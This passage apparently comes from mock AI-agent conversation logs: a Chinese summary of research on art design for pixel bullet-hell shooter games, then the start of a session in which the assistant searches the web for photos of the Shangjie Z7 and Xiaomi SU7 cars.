BOWAP 等):https://wiki.maribelhearn.com/wiki/Beginner_Guide\n8. slynyrd Pixelblog 31《Shmup Design Part 1》(像素子弹设计:颜色/大小/形状/描边/闪烁/旋转、分辨率建议);Pixelblog 32(外观与行为匹配):https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n9. Game Developer《Video Game Boss Design For Shmups》(Boss 五要素:难度/多样性/时长/回报/角色;健康条分段;Cave 例子):https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n10. SHMUP Workshop 03《Bullet Pattern Design》(模式角色:警告/位移/区域封锁/最终引导;slow escalation;微宏闪避;CAVE tracking 做法;Boss 设计目标):YouTube ArZRZSYICLo\n11. TimeExtension《CAVE Story: The History of DonPachi》(命中率 20% 判定、自爆弹、rank 系统、1px hitbox);Shmups Wiki《CAVE》词条(1px 判定、游戏清单):https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything\n12. Forgotten Worlds《A guide to Danmaku Unlimited 3》(脚本化弹幕、Touhou 式轻/重阶段交替):https://www.forgottenworlds.net/bullet-hell-danmaku\n13. Zen of the SHMUP(DonPachi 系列=图案+记忆、Mushihimesama=快速集中火、Cave 组合):https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup\n14. o3de-diorama《24-bullet-patterns.md》(Ring/Fan/Spiral 参数表、对象池、合批、碰撞层设计):https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md\n15. Boghog's bullet hell shmup 101(bullet sealing、micro/macro dodge 补充):https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n16. Reddit r/shmupdev《BULLET HELL SHMUP DESIGN 101》(\"敌方子弹永远绘制在其他对象之上\"等原则,仅经搜索摘要获取,置信度中):https://www.reddit.com/r/shmupdev/comments/13w730k/\n17. 其它:Summer Engine(判定点/聚焦/擦弹术语)、Touhou Wiki Items(消弹转星道具)、Steam Touhou Bullets Model Pack(子弹形状清单)、Ted Lim《Day 49》(sin/cos 扇面公式)等。\n\n**(B)置信度说明:**\n\n- 上述 (A) 列来源中的具体论断:**我很确定**它们出自对应来源(可直接复核)。\n- \"经典游戏例子\"中标注为\"常识\"的条目(例如\"东方各作螺旋遍地\"\"芙兰朵露星弧破碎\"等),来自模型通用知识,**没有在本轮调研中逐条核实**,读者如需引用请自行在对应游戏攻略中确认。\n- \"像素建议\"\"设计检查表\"\"落地建议\"等小节为**基于上述来源的综合工程建议**(合理推断,非文献原文),置信度中上,请结合游戏实测调整。\n- 反弹弹(2.7)在东方系纵版弹幕中近乎缺席是**常识判断**;调研资料中未找到专门文献,如要使用建议先做原型验证。\n\n---\n\n## 附录 A:参考链接汇总\n\n- https://note.com/npaka/n/n5d38b7d84173?hl=en (15 种弹幕模式)\n- https://sparen.github.io/ph3tutorials/ddsga2.html / ddsga3.html (弹幕设计工作室指南)\n- https://dmk.bagoum.com/docs/articles/t06.html (Danmokou 运动函数哲学)\n- https://zh.wikipedia.org/zh-hans/符卡 (符卡系统)\n- https://touhou8.thwiki.cc/index.php?edition-view-1281-1.html= (东方全弹型介绍与判定分析)\n- https://maribelhearn.com/faq/jargon (东方社区术语与子弹类型)\n- https://wiki.maribelhearn.com/wiki/Beginner_Guide (躲避策略入门:微/宏闪避、引弹、安全点)\n- https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design (像素弹幕设计)\n- https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups (STG Boss 设计)\n- https://shmups.wiki/library/CAVE (CAVE 公司与其游戏)\n- https://www.timeextension.com/features/cave-story-the-history-of-donpachi-the-shmup-series-that-changed-everything (DonPachi 历史)\n- https://richardschupp.wordpress.com/tag/the-zen-of-the-shmup (Cave 弹幕风格对比)\n- https://www.forgottenworlds.net/bullet-hell-danmaku (Danmaku Unlimited 3 访谈)\n- https://github.com/nickschuetz/o3de-diorama/blob/main/Docs/howto/24-bullet-patterns.md (发射器实现与参数)\n- https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101 (bullet hell 设计 101)\n- https://www.youtube.com/watch?v=ArZRZSYICLo (SHMUP Workshop 03 弹幕模式设计)\n- https://www.youtube.com/watch?v=zEPgFaIpa6o (Boss 设计 Week 25:螺旋/双螺旋实现)\n- https://www.youtube.com/watch?v=To5rOl6pn08 (Boss 战设计:攻击前摇、防龟缩)\n- https://tedlim-65557.medium.com/day-49-bullet-hell-pattern-2d-space-shooter-series-c91e4eccad7c (sin/cos 扇面数学)\n- https://www.summerengine.com/ai-bullet-hell-maker (判定点/聚焦/擦弹/密度调参)\n\n*报告完*", "line_start": 1, "line_end": 437, "total_lines": 437, "file_size": 43317, "char_count": 22159, "message": "已读取 research/bullet_patterns/bullet_pattern_research.md 的内容(行 1~437)"}}, "tool_call_id": "read_file_12", "name": "read_file"}, {"role": "assistant", "reasoning_content": "所有三份子报告都已经完成了,质量都非常高!现在我需要为用户整合这三份报告的核心内容,生成一份精炼的、可直接用于指导像素弹幕射击游戏美术设计的汇总报告。\n\n三份报告分别覆盖了:\n1. 武器系统设计(weapon_research.md)- 7种武器类型、升级系统、像素风格表现\n2. 敌方弹幕模式(bullet_pattern_research.md)- 19种弹幕模式、Boss战设计、数学原理\n3. 像素美术风格(pixel_art_research.md)- 自机/敌方/子弹/特效/UI设计、素材资源\n\n我需要为用户做一份整合版的精华摘要,同时告知三份详细报告的存放位置。由于当前是计划模式(plan mode),我不应该执行任何修改操作,只需汇报结果即可。\n\n让我用 Markdown 格式输出一份结构清晰的整合报告摘要。", "content": "全部三份调研报告已完成!以下是整合后的**像素弹幕射击游戏美术设计调研总汇**:\n\n---\n\n# 🎮 像素弹幕射击游戏 — 美术设计调研总汇\n\n> 📁 三份详细报告已保存:\n> - `research/weapon_system/weapon_research.md` — 武器系统(294行)\n> - `research/bullet_patterns/bullet_pattern_research.md` — 弹幕模式(436行)\n> - `research/pixel_art_style/pixel_art_research.md` — 像素美术(258行)\n\n---\n\n## 一、核心设计原则:可读性 > 美观\n\n弹幕游戏的美术不是\"好看\",而是**\"玩家能在一瞬间分辨威胁和逃生路\"**。所有决策都服务于这一目标。\n\n**色彩价值分层是关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边,让玩家弹、敌弹、道具、爆炸用不同明度层级区分。\n\n---\n\n## 二、武器系统设计(7大类型)\n\n| 武器 | 视觉特征 | 经典例子 |\n|-----|---------|---------|\n| **🎯 散弹** | 扇形多弹丸、离散分布、覆盖广 | 雷电Vulcan、东方灵梦C |\n| **🔴 集中射击** | 弹丸收拢成束、前方高伤害 | 东方低速模式、风神录封印针 |\n| **⚡ 激光** | 粗直持续光柱+起点光晕+灵气光环 | 怒首领蜂Laser、雷电Plasma |\n| **🧭 追踪弹** | 弹丸转弯行为+弯曲尾迹+发光引导火 | 东方灵梦A诱导灵符 |\n| **🛡️ 环绕/子机** | 发光球体挂在自机旁、数量=火力等级 | Gradius Option、东方子机 |\n| **💥 蓄力射击** | 充能指示器+释放时大弹体+闪光 | R-Type波动炮 |\n| **💣 炸弹/清屏** | 全屏特效+扩散圆环+敌弹变道具 | 东方符卡BOMB、怒首领蜂Bomb |\n\n**关键洞察**:\n- 东方Project的**符卡系统**把炸弹做成了\"有名字有立绘的招式\",是玩法与世界观结合的巅峰\n- 怒首领蜂的**Hyper系统**将\"强化\"与\"难度提升\"挂钩——高回报高风险\n- **火力等级必须可视化**:玩家不需要看HUD就能通过子机数量/弹丸数感知等级\n\n---\n\n## 三、敌方弹幕模式(19种经典模式)\n\n### 基础几何模式\n\n| 模式 | 视觉 | 数学要点 |\n|-----|------|---------|\n| **环形弹幕** | 从中心360°均匀放射,如涟漪/烟花 | `angle = base + i·(360°/n)` |\n| **螺旋弹幕** | 发射角连续旋转,如银河/风车 | 极坐标 `r=a·t, θ=b·t` |\n| **扇形弹幕** | 在一个方向张开成扇面 | `angle = aim - spread/2 + i·step` |\n| **直线弹幕** | 密集弹流或不可穿越的\"墙\" | 连续发射+固定方向 |\n| **随机散射** | 火花/星尘式散落 | 在固定规律上叠加小随机 |\n| **追踪弹幕** | 开火瞬间瞄准或飞行中持续转向玩家 | `atan2(py-by, px-bx)` + 限速转向 |\n| **反弹弹幕** | 撞到边缘后反射继续飞行 | `angle = π - angle` 反射 |\n| **滞留弹幕** | 停留在场上形成持续障碍 | 寿命拉长+速度降到~0 |\n\n### 进阶/组合模式\n\n| 模式 | 特征 |\n|-----|------|\n| **波型/幕帘** | 正弦波排列,像波浪/瀑布,易与BGM节奏联动 |\n| **网格** | 横竖规则排列,钻石/晶体状,几何美且缝隙可读 |\n| **花状** | 对称花瓣排列(5/6/8瓣),华丽,适合符卡演出 |\n| **星形/多边形** | 强调特定顶点的星形放射 |\n| **交叉** | 多股弹流交叉如编织/光流 |\n| **落雨** | 自上而下倾泻,天然适合道中演出 |\n| **粒子** | 火花/星尘式散落,适合爆炸、花瓣、魔法粒子 |\n| **激光** | 线/带状攻击,视觉冲击强,可明确封路 |\n| **分裂弹** | 飞行中途爆成更多子弹,常伴随停顿预警 |\n\n**设计核心**:弹幕的本质是**\"缝隙谜题\"**——设计缝隙,而非密度。玩家能看见逃生路就公平。\n\n---\n\n## 四、Boss战设计(东方符卡系统)\n\n**经典结构**:\n1. **非符1**(轻、教学、环/扇)\n2. **符卡宣言**(换背景、念符名)→ 符卡1(主题图案,时限,收取奖励)\n3. **非符2**(中压,引入瞄准/引弹)\n4. **符卡2**(组合图案,增强型:随血量变密)\n5. **濒死**:Last Spell / 最终符卡(最强+最华丽)→ 消弹演出\n\n**Boss战五要素**(Game Developer):\n1. **难度** — 首关Boss必须让认真玩的人能过\n2. **多样性** — 血量条分段,每段不同策略\n3. **时长** — 与关卡时长成比例\n4. **回报** — 濒死前\"倾泻所有弹幕\"制造最终高潮\n5. **角色** — 爆炸、受击、蓄力动画都要符合角色性格\n\n---\n\n## 五、像素美术规范\n\n### 分辨率与尺寸\n- **逻辑分辨率**:480×270(推荐)或 320×180,整数倍放大3~4倍\n- **自机精灵**:16×16(极简)/ 24×24 / 32×32(推荐起步)\n- **杂兵**:16×16 ~ 24×24;**Boss**:48×48 ~ 96×96\n- **子弹**:8×8(小圆弹)~ 16×16(中圆弹)~ 32×32(特殊弹)\n\n### 色板分工\n| 元素 | 颜色建议 |\n|-----|---------|\n| 背景 | 低饱和中暗调(深蓝紫灰系)|\n| 敌方子弹 | 红/粉/紫系 + 白/亮色描边 |\n| 我方子弹 | 青/绿白系 + 深色描边 |\n| 自机 | 高对比品牌色(如红白、蓝白)|\n| 道具 | 金/橙(得分)、红(火力)、蓝(速度)|\n| 爆炸 | 白→橙红黄→灰 |\n\n### 动画帧数基线\n- 自机滚转:**3~5帧** + 尾焰**2~4帧**\n- 子弹旋转:**4帧**(或8帧)、脉动**2~4帧**、闪烁**2帧**\n- 爆炸:**6~10帧**(白热→暖色→灰烟)\n- 统一帧率:**12~15 FPS**\n\n### 绘制顺序(渲染层)\n```\n背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → 敌方子弹(最顶层)\n```\n\n### 判定框视觉提示\n- 东方系列标准:**低速/聚焦模式下显示半透明小圆圈+中心实点**\n- 判定圈与真实判定完全同心,让\"视觉大、判定小\"的公平性可视化\n\n---\n\n## 六、爆炸特效设计公式(SLYNYRD方法)\n\n1. **几何引导**:圆→扩张变细环\n2. **颜色演变**:白炽(最亮)→暖色(红橙黄)→灰烟消散\n3. **物理节奏**:热气先快后慢→**先迅速扩张、后缓慢消散**\n4. **Boss爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片四散\n\n---\n\n## 七、子弹形状库(东方参考)\n\n| 类别 | 形状 | 像素建议 |\n|-----|------|---------|\n| 圆形系 | 小玉、中玉、大玉(空心) | 6–10px圆+描边;大玉用\"中空环\" |\n| 粒状 | 点弹、米弹 | 3–4px点、8×4米粒 |\n| 尖形 | 针弹/箭弹/晶弹 | 长8–14px三角/箭头,尖端高亮 |\n| 刀剑形 | 刀弹、剑弹、苦无 | 剑身+尖端高光 |\n| 星光形 | 星弹(大/小)、光弹 | 4角/5角星+旋转动画 |\n| 特殊形 | 蝶弹、心弹、音符弹、鳞弹 | 2帧扇翅/跳动动画 |\n| 激光 | 线段/射线/弧形激光 | 预警线细→粗2帧过渡 |\n\n---\n\n## 八、免费素材资源推荐\n\n| 资源 | 内容 | 平台 |\n|-----|------|------|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方风格的子弹精灵包 | itch.io |\n| **Pixel SHMUP Ships**(DyLESTorm)| 1自机+2敌机+2弹幕+8帧爆炸+UI | itch.io |\n| **Explosions, Bullets, Fire** | 爆炸/子弹/火/电等离子精灵,CC0 | OpenGameArt |\n| **Free Laser Bullets Pack 2020** | 66个CC0激光/子弹PNG | OpenGameArt |\n| **Pixel Art Game UI**(CraftPix)| 现成像素UI素材 | CraftPix.net |\n\n---\n\n## 九、可直接执行的美术规范清单\n\n1. ✅ 画布:逻辑分辨率 **480×270**,整数倍放大3~4倍;精灵按16或8的倍数取尺寸\n2. ✅ 色板分工:背景低饱和中暗调、敌弹红/粉/紫+白描边、自机弹青/绿白+深描边\n3. ✅ 动画帧数:自机滚转3~5帧+尾焰2~4帧;子弹旋转4帧、脉动2~4帧、闪烁2帧;爆炸6~10帧;统一12~15 FPS\n4. ✅ 判定显示:自机真实判定用2~4px半径小圆,聚焦时显示同心空心圆+中心点\n5. ✅ 绘制顺序:背景→道具→我方子弹→敌人→自机→**敌方子弹(最顶层)**\n6. ✅ 工作流:先用itch.io/OpenGameArt免费包搭可玩原型,再逐步原创替换\n\n---\n\n以上就是三份子智能体调研报告的完整整合!如果你需要,我可以进一步帮你:\n- 📐 把这些设计转化为**具体的像素精灵绘制规格文档**\n- 💻 生成**弹幕模式的数学公式代码框架**\n- 🎨 设计一套**具体的色板+子弹形状资产清单**\n\n请告诉我下一步想做什么!🎮", "timestamp": "2026-08-23T12:35:23.058846", "message_id": "msg_2776ccabe3ef46669791d3be282b81ca", "metadata": {"model_key": "kimi-k2.6"}}], "meta": {"title": "弹幕游戏美术设计调研", "model_key": "Kimi-K3", "thinking_mode": true, "run_mode": "thinking", "multi_agent_mode": false, "permission_mode": "unrestricted", "execution_mode": "sandbox", "network_permission": "", "messages_count": 29}, "running": {"has_running_background_commands": false, "has_running_multi_agent": false, "has_running_sub_agents": false, "is_main_running": false, "is_truly_active": false, "main_task_id": null, "main_task_type": null}}} \ No newline at end of file diff --git a/demo/mock/bootstrap-conv_20260823_133304_218.json b/demo/mock/bootstrap-conv_20260823_133304_218.json new file mode 100644 index 0000000..55578f5 --- /dev/null +++ b/demo/mock/bootstrap-conv_20260823_133304_218.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversation_id": "conv_20260823_133304_218", "edited_files": [], "messages": [{"role": "user", "content": "尚界z7和小米su7都各长什么样子?给我展示他们的照片", "timestamp": "2026-08-23T13:33:04.579689", "message_id": "msg_bd50ecfb7e4c422493be9a473198e6d8", "metadata": {"message_source": "user", "visibility": "chat", "starts_work": true, "work_timer": {"status": "completed", "started_at": "2026-08-23T13:33:04.579679", "finished_at": "2026-08-23T13:35:36.404161", "duration_ms": 151824}}}, {"role": "assistant", "reasoning_content": "用户问尚界Z7和小米SU7长什么样子,要展示照片。\n\n尚界Z7——我需要想想这是什么。尚界是华为和上汽合作的品牌(鸿蒙智行旗下的\"尚界\"),2025年发布的。尚界Z7可能是他们的车型。不过我的知识截止时间可能不包含这个,或者信息不够准确。当前对话日期是2026-08-23。\n\n小米SU7是小米汽车的第一款车,2024年3月发布,这个我比较熟悉。\n\n用户要看照片。根据系统提示的图片检索流程:Wikimedia Commons 优先 → web_search 全网搜索 → 校验匹配 → 用 作为图片卡片展示。\n\n注意:当前环境网络受限(沙箱模式说\"网络:受限(仅允许 localhost,外部网络不可达)\")。等等,看执行环境部分:\"执行环境:沙箱(sandbox)... 网络:受限(仅允许 localhost,外部网络不可达)\"。但工具列表里有 web_search 和 extract_webpage 工具,这些工具可能是系统层面的,不受沙箱限制(沙箱限制的是 run_command 的网络)。通常 web_search 工具是由平台提供的,应该能用。\n\n我应该先用 web_search 搜索这两款车的图片。\n\n尚界Z7:尚界(HIMA 鸿蒙智行与上汽合作品牌)的第一款车是尚界H5(2025年)。Z7可能是2026年的新车?我不太确定。需要搜索确认。\n\n计划:\n1. 搜索尚界Z7图片\n2. 搜索小米SU7图片\n3. 找到可直链的图片URL,用 展示\n\n 支持本地路径或网络链接。\n\n需要注意:很多图片链接有防盗链,可能无法加载。Wikimedia Commons 优先。小米SU7在Wikimedia Commons上应该有不少照片。尚界Z7如果有的话也可能有。\n\n让我并行搜索:\n- web_search: 尚界Z7 图片\n- web_search: 小米SU7 site:commons.wikimedia.org 或者搜索图片\n\n先搜确认尚界Z7是什么车(我知识里尚界第一款是H5,Z7可能是轿车)。搜索一下。\n\n然后再找图片直链。Wikimedia Commons 的图片直链可以用 upload.wikimedia.org 的URL,比较稳定且无防盗链。\n\n策略:\n1. 搜\"尚界Z7\"确认车型信息\n2. 搜 Wikimedia Commons 上的 小米SU7 和 尚界Z7 图片\n3. 提取图片直链展示\n\n开始。并行调用两个搜索。", "content": "我来帮你找这两款车的照片。先搜索确认车型信息和可用的图片资源。", "timestamp": "2026-08-23T13:33:29.921585", "message_id": "msg_0287caf251ae4c189ad2321e88747217", "metadata": {"model_key": "Kimi-K3"}, "tool_calls": [{"id": "tool_Bq5lX4JqU35DlGIHxDhnFIWI", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索尚界Z7车型信息\", \"query\": \"尚界Z7 华为 上汽 轿车 发布\", \"topic\": \"general\"}"}}, {"id": "tool_tHN9XsFo50RxYSzVYxrTF1Mc", "index": 1, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"找小米SU7维基共享图片\", \"query\": \"Xiaomi SU7 site:commons.wikimedia.org\", \"topic\": \"general\"}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: 尚界Z7 华为 上汽 轿车 发布\\n📅 搜索时间: 2026-08-23T13:33:35.212346\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. 尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\\n 🔗 https://chejiahao.autohome.com.cn/info/24687213\\n 📄 移动App触屏版小程序i车商本地服务\\n\\n扫码打开汽车之家小程序\\n\\n点赞\\n\\n评论\\n\\n收藏\\n\\n分享\\n\\n当前位置:\\n\\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\\n\\n车图腾\\n\\n车家号·0浏览·2026-01-07 20:20 · 北京\\n\\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一...\\n\\n2. 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\\n 🔗 https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\\n 📄 The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the H...\\n\\n3. 尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\\n 🔗 https://zhuanlan.zhihu.com/p/2012843367285945611\\n 📄 尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳\\n\\n4. 余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\\n 🔗 https://stcn.com/article/detail/3661702.html\\n 📄 与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\\n\\n鸿蒙智行累计交付128万辆\\n\\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\\n\\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵...\\n\\n5. 上汽集团官网\\n 🔗 https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\\n 📄 一、对准用户,方能校准自己\\n\\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\\\"更敏捷地响应用户与市场\\\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\\n\\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品...\\n\\n6. 尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\\n 🔗 https://www.epochtimes.com/b5/26/4/22/n14747517.htm\\n 📄 「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\\n\\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\\n\\n責任編輯:任子君#\\n\\n標籤\\n\\n華為鴻蒙智行尚界Z7趴窩\\n\\n相關專題:\\n\\n夏松報導\\n\\n## 相關文章\\n\\n小鵬汽車方向機頻頻失靈 ...\\n\\n7. 尚界Z7\\n 🔗 https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\\n 📄 06:42\\n\\n灵活好开又智能 体验尚界Z7动态驾驶篇\\n\\n03:29\\n\\n尚界Z7 重新定义科技轿跑\\n\\n03:24\\n\\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\\n\\n08:19\\n\\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\\n\\n01:37\\n\\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\\n\\n06:06\\n\\n王姨带你看车圈-...\\n\\n8. 尚界Z7 售价21.98 万起满配上市\\n 🔗 https://www.zhihu.com/question/2030295130230477843\\n 📄 4 月 22 日鸿蒙智行春季新品发布会上,尚界 Z7、Z7T 正式上市,售价分别为 21.98 万起和 22.98 万起,强势引爆全网热度,吸\\n\\n9. 尚界Z7 | Z7T - 鸿蒙智行官网\\n 🔗 https://hima.auto/shangjie/z7-z7t\\n 📄 # 尚界 Z7 Z7T\\n\\n 尚界 Z7 及 Z7T KV\\n\\n\\\\广告创意 | 车型信息(外观、内饰、色彩)和功能界面,可能与最⁠终量产车型存在差异,请以实际销售车型为⁠准。\\n\\n俯身向前,用速度开路。 \\n 双面姿态,亮内在锋芒。\\n\\n不羁美学,猎装,猎风,猎未知之境。 \\n 风尚轿跑,无拘,无畏,抵无边自由。\\n\\n问界 M8 \\n\\n## 型色并茂, 独你闪耀。\\n\\n问界 M8 \\n\\n## 自在...\\n\\n10. 轿车猎装二选一!尚界Z7 是有点好玩在身上的\\n 🔗 https://www.youtube.com/watch?v=Xi5Q90G0U7E\\n 📄 # 轿车猎装二选一!尚界 Z7 是有点好玩在身上的\\n## 42HOW\\n12100 subscribers\\n10 likes\\n\\n### Description\\n787 views\\nPosted: 3 Apr 2026\\n猎装版和轿车版本同步上市见过吗?尚界 Z7 和尚界 Z7T 这波就一起来了。\\n\\n1 comments\\n### Transcript:\", \"query\": \"尚界Z7 华为 上汽 轿车 发布\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\", \"url\": \"https://chejiahao.autohome.com.cn/info/24687213\"}, {\"index\": 2, \"title\": \"华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\", \"url\": \"https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\"}, {\"index\": 3, \"title\": \"尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\", \"url\": \"https://zhuanlan.zhihu.com/p/2012843367285945611\"}, {\"index\": 4, \"title\": \"余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\", \"url\": \"https://stcn.com/article/detail/3661702.html\"}, {\"index\": 5, \"title\": \"上汽集团官网\", \"url\": \"https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\"}, {\"index\": 6, \"title\": \"尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\", \"url\": \"https://www.epochtimes.com/b5/26/4/22/n14747517.htm\"}, {\"index\": 7, \"title\": \"尚界Z7\", \"url\": \"https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\"}, {\"index\": 8, \"title\": \"尚界Z7 售价21.98 万起满配上市\", \"url\": \"https://www.zhihu.com/question/2030295130230477843\"}, {\"index\": 9, \"title\": \"尚界Z7 | Z7T - 鸿蒙智行官网\", \"url\": \"https://hima.auto/shangjie/z7-z7t\"}, {\"index\": 10, \"title\": \"轿车猎装二选一!尚界Z7 是有点好玩在身上的\", \"url\": \"https://www.youtube.com/watch?v=Xi5Q90G0U7E\"}]}", "timestamp": "2026-08-23T13:33:35.298827", "message_id": "msg_2383907ad8a84e7cbb479d94086c87ee", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: 尚界Z7 华为 上汽 轿车 发布\n📅 搜索时间: 2026-08-23T13:33:35.212346\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. 尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n 🔗 https://chejiahao.autohome.com.cn/info/24687213\n 📄 移动App触屏版小程序i车商本地服务\n\n扫码打开汽车之家小程序\n\n点赞\n\n评论\n\n收藏\n\n分享\n\n当前位置:\n\n尚界Z7预告图!定位高端轿跑,外观似曾相识,是设计师惺惺相惜?\n\n车图腾\n\n车家号·0浏览·2026-01-07 20:20 · 北京\n\n日前,华为鸿蒙智行与上汽集团的合作品牌尚界,发布了旗下第二款车型—— 尚界Z7(参数|询价)的预告图。此前,相关方面曾透露会于2026年第一季度推出一...\n\n2. 华为x上汽联合打造--尚界z7无伪装冬测首次曝光 | Huawei and SAIC Jointly Develop -- SAIC Z7 Uncamouflaged Winter Testing\n 🔗 https://www.youtube.com/watch?v=Q3uhQ7BjVtQ\n 📄 The SAIC Z7, Shangjie's all-new premium coupe, made its first public appearance during winter testing without camouflage, showcasing its core performance capabilities comprehensively. Powered by the H...\n\n3. 尚界Z7/Z7T | 华为+上汽,造了台“最懂年轻人”的车? - 知乎专栏\n 🔗 https://zhuanlan.zhihu.com/p/2012843367285945611\n 📄 尚界品牌正式推出鸿蒙智行首款猎装车——尚界Z7T,定位风尚科技猎装,与风尚科技轿跑尚界Z7同台亮相。九色可选、随动四维屏首发、灵感橱窗首搭——这套组合拳\n\n4. 余承东:鸿蒙智行最年轻的车来了!新一代激光雷达智驾系统亮相 - 证券时报\n 🔗 https://stcn.com/article/detail/3661702.html\n 📄 与此同时,鸿蒙智行正式官宣了与上汽联合打造的全新车型——尚界Z7与尚界Z7T。余承东表示,尚界Z7定位风尚科技轿跑,是“鸿蒙智行最年轻的车”。\n\n鸿蒙智行累计交付128万辆\n\n此次发布会是鸿蒙智行2026年的首场大型技术活动,其背后是华为持续加码智能汽车赛道的研发投入。\n\n余承东介绍,鸿蒙智行目前已形成AITO问界、LUXEED智界、STELATO享界、MAEXTRO尊界及SAIC尚界五大品牌矩阵...\n\n5. 上汽集团官网\n 🔗 https://www.saicmotor.com/chinese/xwzx/mtbd/2026/63682.shtml\n 📄 一、对准用户,方能校准自己\n\n 任何面向用户的深刻变革,必然始于内部的决心。2025年,上汽的关键调整,都清晰指向了\"更敏捷地响应用户与市场\"。上汽集团启动近年来最大规模的组织与人事调整,核心是打破壁垒,让资源向能直接触达和满足用户需求的品牌与关键技术集中。品牌矩阵的焕新,是最直观的体现,让资源不再分散,而是聚焦于两类明确的目标。\n\n 其一,自主品牌接棒扛旗。果断整合品牌资源,与华为联手打造全新品...\n\n6. 尚界Z7展示車在新品發布會上被指「趴窩」 | 大紀元\n 🔗 https://www.epochtimes.com/b5/26/4/22/n14747517.htm\n 📄 「眼下沒第三方故障報告,最關鍵還是官方直面說明原因。粉絲熱情能拉來訂單,但要真正留住用戶,還得靠產品穩定和透明溝通,不然熱度一過,質疑可能更難消。」\n\n鴻蒙智行是華為在2023年聯合賽力斯、奇瑞、北汽、江淮、上汽等車企組建的智能汽車技術生態聯盟,是華為智選車業務的升級。\n\n責任編輯:任子君#\n\n標籤\n\n華為鴻蒙智行尚界Z7趴窩\n\n相關專題:\n\n夏松報導\n\n## 相關文章\n\n小鵬汽車方向機頻頻失靈 ...\n\n7. 尚界Z7\n 🔗 https://baike.baidu.com/item/%E5%B0%9A%E7%95%8CZ7/67229569\n 📄 06:42\n\n灵活好开又智能 体验尚界Z7动态驾驶篇\n\n03:29\n\n尚界Z7 重新定义科技轿跑\n\n03:24\n\n华为鸿蒙智行尚界Z7预售价22.98万起,对标小米SU7\n\n08:19\n\n尚界Z7双车重磅发布,鸿蒙智行解锁新设计,年轻座驾够潮吗?#尚界Z7四维屏情绪价值拉满# #尚界Z7双箭齐发#\n\n01:37\n\n尚界Z7全路况试驾:“最好开”的鸿蒙智行车型诞生?\n\n06:06\n\n王姨带你看车圈-...\n\n8. 尚界Z7 售价21.98 